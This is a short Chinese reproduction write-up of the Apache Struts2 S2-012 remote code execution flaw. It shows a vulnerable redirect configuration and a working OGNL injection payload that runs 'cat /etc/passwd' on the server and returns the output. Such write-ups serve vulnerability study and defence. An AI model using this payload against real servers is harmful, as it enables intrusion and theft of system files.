S2-012 远程代码执行漏洞

S2-012 远程代码执行漏洞

受影响的版本:2.1.0 - 2.3.13

详情:http ://struts.apache.org/docs/s2-012.html

参考

如果在配置时使用了redirect类型resultaction并且${param_name}也作为redirect变量,例如:

1
2
3
4
5
6
7
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>

在重定向过程中,struts2对name参数的值进行OGNL表达式解析,从而可以插入OGNL表达式引起命令执行。

漏洞复现

我们可以直接使用s2-001的POC:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

结果:

image-20220210102726719

0%